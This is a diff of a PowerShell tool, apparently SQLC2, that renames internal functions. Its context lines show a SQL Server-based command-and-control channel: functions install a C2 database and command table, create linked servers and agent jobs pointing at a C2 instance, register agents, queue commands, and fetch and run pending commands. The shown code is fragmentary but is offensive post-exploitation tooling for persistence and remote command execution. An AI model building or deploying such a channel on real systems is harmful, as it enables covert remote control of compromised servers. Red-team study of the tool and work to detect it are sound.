function.' + Write-Output -InputObject 'No query provided to Get-SQLC2Query function.' Break } } @@ -452,9 +452,9 @@ Function Get-C2SQLQuery # ---------------------------------- -# Get-SC2QLConnectionTest +# Get-SQLC2ConnectionTest # ---------------------------------- -Function Get-SC2QLConnectionTest +Function Get-SQLC2ConnectionTest { <# .SYNOPSIS @@ -476,11 +476,11 @@ Function Get-SC2QLConnectionTest .PARAMETER SuppressVerbose Suppress verbose errors. Used when function is wrapped. .EXAMPLE - PS C:\> Get-SC2QLConnectionTest -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" + PS C:\> Get-SQLC2ConnectionTest -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" .EXAMPLE - PS C:\> Get-SC2QLConnectionTest -Verbose -Instance "SQLSERVER1.domain.com,1433" + PS C:\> Get-SQLC2ConnectionTest -Verbose -Instance "SQLSERVER1.domain.com,1433" .EXAMPLE - PS C:\> Get-SQLInstanceDomain | Get-SC2QLConnectionTest -Verbose + PS C:\> Get-SQLInstanceDomain | Get-SQLC2ConnectionTest -Verbose #> [CmdletBinding()] Param( @@ -532,7 +532,7 @@ Function Get-SC2QLConnectionTest Process { # Parse computer name from the instance - $ComputerName = Get-C2ComputerNameFromInstance -Instance $Instance + $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) @@ -544,12 +544,12 @@ Function Get-SC2QLConnectionTest if($DAC) { # Create connection object - $Connection = Get-C2SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut -Database $Database + $Connection = Get-SQLC2ConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut -Database $Database } else { # Create connection object - $Connection = Get-C2SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database + $Connection = Get-SQLC2ConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database } # Attempt connection @@ -596,10 +596,10 @@ Function Get-SC2QLConnectionTest # ------------------------------------------- -# Function: Get-C2ComputerNameFromInstance +# Function: Get-SQLC2ComputerNameFromInstance # ------------------------------------------ # Author: Scott Sutherland -Function Get-C2ComputerNameFromInstance +Function Get-SQLC2ComputerNameFromInstance { <# .SYNOPSIS @@ -607,7 +607,7 @@ Function Get-C2ComputerNameFromInstance .PARAMETER Instance SQL Server instance to parse. .EXAMPLE - PS C:\> Get-C2ComputerNameFromInstance -Instance SQLServer1\STANDARDDEV2014 + PS C:\> Get-SQLC2ComputerNameFromInstance -Instance SQLServer1\STANDARDDEV2014 SQLServer1 #> [CmdletBinding()] @@ -711,7 +711,7 @@ Function Install-SQLC2Server Process { # Parse computer name from the instance - $ComputerName = Get-C2ComputerNameFromInstance -Instance $Instance + $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) @@ -720,7 +720,7 @@ Function Install-SQLC2Server } # Test connection to instance - $TestConnection = Get-SC2QLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } @@ -752,7 +752,7 @@ Function Install-SQLC2Server SELECT name FROM master..sysdatabases WHERE name like '$Database'" # Create Database results - $TblResults = Get-C2SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database 'master' -SuppressVerbose -TimeOut 300 + $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database 'master' -SuppressVerbose -TimeOut 300 $RowCount = $TblResults | Measure-Object | select Count -ExpandProperty count if($RowCount -eq 1) { @@ -787,7 +787,7 @@ Function Install-SQLC2Server );SELECT name FROM sys.tables WHERE name = 'C2COMMANDS'" # Create Database results - $TblResults = Get-C2SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database "$Database" -SuppressVerbose + $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database "$Database" -SuppressVerbose $RowCount = $TblResults | Measure-Object | select Count -ExpandProperty count if($RowCount -eq 1) { @@ -892,7 +892,7 @@ Function Install-SQLC2AgentLink Process { # Parse computer name from the instance - $ComputerName = Get-C2ComputerNameFromInstance -Instance $Instance + $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) @@ -901,7 +901,7 @@ Function Install-SQLC2AgentLink } # Test connection to instance - $TestConnection = Get-SC2QLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } @@ -966,7 +966,7 @@ Function Install-SQLC2AgentLink # Run Query Write-Verbose "$instance : Creating server link named '$RandomLink' as $C2Username to $C2Instance " - $TblResults = Get-C2SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -TimeOut 300 + $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -TimeOut 300 # Verify link addition if(($TblResults | Select Column1 -ExpandProperty Column1) -eq 1) @@ -1115,7 +1115,7 @@ Function Install-SQLC2AgentLink ORDER BY JOB_OWNER,JOB_NAME" # Run Query - $TblResults = Get-C2SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database 'msdb' -SuppressVerbose -TimeOut 300 + $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database 'msdb' -SuppressVerbose -TimeOut 300 # Verify job was added if(($TblResults | Measure-Object | select count -ExpandProperty count) -eq 1) @@ -1209,7 +1209,7 @@ Function Register-SQLC2Agent Process { # Parse computer name from the instance - $ComputerName = Get-C2ComputerNameFromInstance -Instance $Instance + $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) @@ -1218,7 +1218,7 @@ Function Register-SQLC2Agent } # Test connection to instance - $TestConnection = Get-SC2QLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) @@ -1247,7 +1247,7 @@ Function Register-SQLC2Agent WHERE servername like '$env:COMPUTERNAME'" # Execute Query - $TblResults = Get-C2SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose Write-Verbose "$instance : $env:COMPUTERNAME agent registered/checked in." } @@ -1327,7 +1327,7 @@ Function Get-SQLC2Agent Process { # Parse computer name from the instance - $ComputerName = Get-C2ComputerNameFromInstance -Instance $Instance + $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) @@ -1336,7 +1336,7 @@ Function Get-SQLC2Agent } # Test connection to instance - $TestConnection = Get-SC2QLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) @@ -1359,7 +1359,7 @@ Function Get-SQLC2Agent $Query = "SELECT * FROM dbo.c2agents" # Execute Query - $TblResults = Get-C2SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose $AgentCount = $TblResults | measure | select count -ExpandProperty count Write-Verbose -Message "$Instance : $AgentCount agents were found registered." @@ -1457,7 +1457,7 @@ Function Set-SQLC2Command Process { # Parse computer name from the instance - $ComputerName = Get-C2ComputerNameFromInstance -Instance $Instance + $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) @@ -1466,7 +1466,7 @@ Function Set-SQLC2Command } # Test connection to instance - $TestConnection = Get-SC2QLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } @@ -1498,7 +1498,7 @@ Function Set-SQLC2Command $Query = "INSERT dbo.C2COMMANDS (ServerName,Command,Status) VALUES ('$ServerName','$Command','pending')" # Execute Query - $TblResults = Get-C2SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose Write-Verbose "$instance : Command added for $ServerName agent(s) on C2 server $Instance." } @@ -1587,7 +1587,7 @@ Function Get-SQLC2Command Process { # Parse computer name from the instance - $ComputerName = Get-C2ComputerNameFromInstance -Instance $Instance + $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) @@ -1596,7 +1596,7 @@ Function Get-SQLC2Command } # Test connection to instance - $TestConnection = Get-SC2QLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) @@ -1623,7 +1623,7 @@ Function Get-SQLC2Command $Query = "SELECT * FROM dbo.c2commands where status like 'pending' and (servername like '$env:COMPUTERNAME' or servername like 'All')" # Execute Query - $TblResults = Get-C2SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose # check command count $CommandCount = $TblResults | measure | select count -ExpandProperty count @@ -1746,7 +1746,7 @@ Function Invoke-SQLC2Command } # Parse computer name from the instance - $ComputerName = Get-C2ComputerNameFromInstance -Instance $Instance + $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) @@ -1755,7 +1755,7 @@ Function Invoke-SQLC2Command } # Test connection to instance - $TestConnection = Get-SC2QLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) @@ -1785,7 +1785,7 @@ Function Invoke-SQLC2Command WHERE CID like $Cid" # Execute Query - $TblResults = Get-C2SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose # check command count $CommandCount = $TblResults.row.count @@ -1914,7 +1914,7 @@ Function Get-SQLC2Result Process { # Parse computer name from the instance - $ComputerName = Get-C2ComputerNameFromInstance -Instance $Instance + $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) @@ -1923,7 +1923,7 @@ Function Get-SQLC2Result } # Test connection to instance - $TestConnection = Get-SC2QLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) @@ -1952,7 +1952,7 @@ Function Get-SQLC2Result " $Query # Execute Query - $TblResults = Get-C2SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose # check command count $CommandCount = $TblResults.row.count @@ -2050,7 +2050,7 @@ Function Remove-SQLC2Command Process { # Parse computer name from the instance - $ComputerName = Get-C2ComputerNameFromInstance -Instance $Instance + $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) @@ -2059,7 +2059,7 @@ Function Remove-SQLC2Command } # Test connection to instance - $TestConnection = Get-SC2QLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) @@ -2084,7 +2084,7 @@ Function Remove-SQLC2Command $ServerFilter" # Execute Query - $TblResults = Get-C2SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose } End @@ -2174,7 +2174,7 @@ Function Remove-SQLC2Agent Process { # Parse computer name from the instance - $ComputerName = Get-C2ComputerNameFromInstance -Instance $Instance + $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) @@ -2183,7 +2183,7 @@ Function Remove-SQLC2Agent } # Test connection to instance - $TestConnection = Get-SC2QLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) @@ -2208,7 +2208,7 @@ Function Remove-SQLC2Agent $ServerFilter" # Execute Query - $TblResults = Get-C2SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose } End @@ -2279,7 +2279,7 @@ Function Uninstall-SQLC2AgentLink Process { # Parse computer name from the instance - $ComputerName = Get-C2ComputerNameFromInstance -Instance $Instance + $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) @@ -2288,7 +2288,7 @@ Function Uninstall-SQLC2AgentLink } # Test connection to instance - $TestConnection = Get-SC2QLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) @@ -2323,7 +2323,7 @@ Function Uninstall-SQLC2AgentLink select 'The agent job does not exist.'" # Execute Query - $TblResults = Get-C2SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose } End